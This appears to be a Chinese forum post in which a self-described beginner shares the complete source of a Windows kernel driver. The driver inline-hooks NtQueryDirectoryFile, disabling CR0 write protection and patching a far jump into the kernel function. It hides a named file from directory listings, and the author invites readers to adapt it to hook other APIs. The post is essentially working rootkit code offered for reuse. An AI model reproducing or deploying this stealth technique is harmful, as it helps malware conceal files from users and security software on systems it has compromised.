不敢说原创了 因为没什么是我创的  

学习了Rootkits.Subverting.the.Windows.Kernel中的detour补丁一章和一篇kernel inline hook的精华写下了下面代码 练练手 
inline hook NtQueryDirectoryFile实现了隐藏文件 代码其实还有很多要改进的地方 inline hook 应该还有很多发展的空间 比如我这个代码开头就jmp了 太明显了 可以改后面的字节再jmp
好不容易实现了 就赶紧发上来了 给和我一样新手们 改改就可以hook 别的api了

代码:
#include "ntddk.h"

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

NTSYSAPI
NTSTATUS
NTAPI NtQueryDirectoryFile(
  IN  HANDLE FileHandle,
  IN  HANDLE Event OPTIONAL,
  IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  IN  PVOID ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK IoStatusBlock,
  OUT PVOID FileInformation,
  IN  ULONG Length,
  IN  FILE_INFORMATION_CLASS FileInformationClass,
  IN  BOOLEAN ReturnSingleEntry,
  IN  PUNICODE_STRING FileName OPTIONAL,
  IN  BOOLEAN RestartScan
  );

NTSTATUS Check();
VOID write();
VOID write_back();

NTSTATUS rc;
////////
ANSI_STRING ansiFileName,ansiDirName,HideDirFile;
UNICODE_STRING uniFileName;
PFILE_BOTH_DIR_INFORMATION currentDirInfo = NULL;
PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
ULONG offset = 0;
ULONG position = 0;
ULONG newLenth = 0;
BOOL hook;
////////
// This is our unload function

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{

      DbgPrint("OnUnload called\n");
    if(hook)
    write_back();

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,

                     IN PUNICODE_STRING theRegistryPath)

{

      DbgPrint("I loaded!");
    if(NT_SUCCESS(Check()))
    {
      DbgPrint(" check SUCCESS");
      write();
      hook=TRUE;
    }
    else
      DbgPrint(" check UNSUCCESSFUL");
    theDriverObject->DriverUnload  = OnUnload;

    return STATUS_SUCCESS;

}
//检查一下符合不
NTSTATUS Check()
{
  int i=0;
  char *p=(char *)NtQueryDirectoryFile;
  /*
    mov     edi,edi
    push  ebp
    mov    ebp, esp
    lea     eax,[ebp+2Ch]
    push    eax

  */
  char c[]={0x8b,0xff,0x55,0x8b,0xec,0x8d,0x45,0x2c,0x50};
  for(;i<9;i++)
  {
    DbgPrint("-0x%02X",(unsigned char)p[i]);
    if(p[i]!=c[i])
    {
      return STATUS_UNSUCCESSFUL;
    }
  }
  return STATUS_SUCCESS;
}

__declspec(naked) NTAPI MyNtQueryDirectoryFile(IN  HANDLE FileHandle,
  IN  HANDLE Event OPTIONAL,
  IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  IN  PVOID ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK IoStatusBlock,
  OUT PVOID FileInformation,
  IN  ULONG Length,
  IN  FILE_INFORMATION_CLASS FileInformationClass,
  IN  BOOLEAN ReturnSingleEntry,
  IN  PUNICODE_STRING FileName OPTIONAL,
  IN  BOOLEAN RestartScan)
{

  __asm 
  {
    push ebp
    mov ebp,esp
    pushad
  }
  //将参数压入
  __asm
  {
    push [ebp+30h]
    push [ebp+2Ch]
    push [ebp+28h]
    push [ebp+24h]
    push [ebp+20h]
    push [ebp+1Ch]
    push [ebp+18h]
    push [ebp+14h]
    push [ebp+10h]
    push [ebp+0Ch]
    push [ebp+08h]
  }

  __asm
  {
    //int 3
    jmp forwArd
    bAck:
  }

  __asm
  {    
    // exec missing instructions
    mov     edi,edi
    push  ebp
    mov    ebp, esp
    lea     eax,[ebp+2Ch]
    push    eax
  }
    // jump to re-entry location in hooked function
    // this gets 'stamped' with the correct address
    // at runtime.
    //
    // we need to hard-code a far jmp, but the assembler
    // that comes with the DDK will not poop this out
    // for us, so we code it manually
    // jmp FAR 0x08:0xAAAAAAAA
  __asm
  {
    _emit 0xEA
    _emit 0xAA
    _emit 0xAA
    _emit 0xAA
    _emit 0xAA
    _emit 0x08
    _emit 0x00
  }
  
  __asm 
  {
    forwArd:
    call bAck
  }

  __asm
  {
    mov rc,eax
  }
  //隐藏文件//////////////////////////
  if(NT_SUCCESS(rc)&&FileInformationClass==FileBothDirectoryInformation)
  {
    currentDirInfo =(PFILE_BOTH_DIR_INFORMATION)FileInformation;
    newLenth = Length;
    RtlInitAnsiString(&HideDirFile,"abc.txt"); 
    do
    {
      offset = currentDirInfo->NextEntryOffset;
      RtlInitUnicodeString(&uniFileName,currentDirInfo->FileName);
      RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
      RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
      if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
      {
        if (0 == offset)
        {
          if (lastDirInfo)
          {
            lastDirInfo->NextEntryOffset = 0;
            newLenth -= Length - position;
          }
          else
          {
            currentDirInfo->NextEntryOffset = 0;
            Length = 0;
            //return rc;
            __asm
            {
              popad
              mov esp,ebp
              pop ebp
              mov eax,rc
              ret 0x2C
            }
          }
        }
        else
        {
          RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo + offset, Length - position - offset);
          newLenth -= offset;
          position += offset;
        }
      }
      else
      {
        position += offset;
        lastDirInfo = currentDirInfo;
        currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)currentDirInfo + offset);
      }
    } while (0 != offset);
    Length = newLenth;
  }
  //return rc;
  __asm
  {
    popad
    mov esp,ebp
    pop ebp
    mov eax,rc
    ret 0x2C
  }
}
//写入补丁
VOID write()
{
  char *actual_function=(char *)NtQueryDirectoryFile;
  char *non_paged_memory;
  unsigned long detour_address;
  unsigned long reentry_address;
  int i = 0;

  char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90 };

  reentry_address = ((unsigned long)NtQueryDirectoryFile) + 9; 

  non_paged_memory = ExAllocatePool(NonPagedPool,1024);

  for(i=0;i<1024;i++)
  {
    ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)MyNtQueryDirectoryFile)[i];
  }

  detour_address = (unsigned long)non_paged_memory;

  *( (unsigned long *)(&newcode[1]) ) = detour_address;


  for(i=0;i<1024;i++)
  {
    if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+3]))
    {
      // we found the address 0xAAAAAAAA
      // stamp it w/ the correct address
      *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;
      break;
    }
  }

  __asm
  {
            push eax
            mov  eax, CR0
            and  eax, 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
    }

  for(i=0;i < 9;i++)
  {
    actual_function[i] = newcode[i];
  }

  __asm
    {
            push eax
            mov  eax, CR0
            or   eax, NOT 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
    }
}
//写回
VOID write_back()
{
  char *actual_function=(char *)NtQueryDirectoryFile;
  char c[]={0x8b,0xff,0x55,0x8b,0xec,0x8d,0x45,0x2c,0x50};
  int i;
  __asm
  {
            push eax
            mov  eax, CR0
            and  eax, 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
    }

  for(i=0;i < 9;i++)
  {
    actual_function[i] = c[i];
  }

  __asm
    {
            push eax
            mov  eax, CR0
            or   eax, NOT 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
  }
}